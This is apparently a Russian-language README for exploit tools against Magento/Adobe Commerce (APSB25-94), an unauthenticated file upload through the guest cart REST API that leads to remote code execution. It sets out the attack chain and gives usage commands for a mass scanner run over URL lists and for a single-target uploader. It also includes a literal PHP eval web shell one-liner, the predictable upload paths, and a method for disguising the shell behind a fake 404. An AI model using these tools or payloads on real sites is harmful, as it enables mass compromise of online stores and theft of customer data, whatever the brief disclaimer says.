Magento APSB25-94 — Неаутентифицированная загрузка файла до RCE

Обзор

Эксплуатирует неаутентифицированную загрузку файла в Magento / Adobe Commerce через REST API гостевой корзины custom_options.

Цепочка атаки

1. GraphQL → утечка SKU продукта
2. REST API → создание гостевой корзины
3. REST API → загрузка PNG-polyshell через custom_options file_info
4. HTTP GET → доступ к .php по предсказуемому пути
5. PHP exec → RCE

Инструменты

magento_godzilla.py — Пакетный сканер

Двухфазная загрузка: пробный файл (безопасный для WAF) + eval-shell (маскировка под 404).

pip install requests
python magento_godzilla.py -f urls.txt -t 20 -o results.txt

Вывод: RCE_CONFIRMED, SHELL_KILLED, PROBE_ONLY

magento_upload.py — Загрузка на одну цель

python magento_upload.py -u https://target.com -f godzilla.php
python magento_upload.py -u https://target.com -c '<?php eval($_POST[1]);?>'
python magento_upload.py -u https://target.com -f shell.php --raw

Пути загрузки

/pub/media/custom_options/quote/{c1}/{c2}/{filename}
/media/custom_options/quote/{c1}/{c2}/{filename}

Маскировка шелла

GET возвращает фальшивую 404 (HTTP 200 + тело "Not Found"). POST с параметром пароля выполняет код.

Отказ от ответственности

Только для авторизованного тестирования безопасности.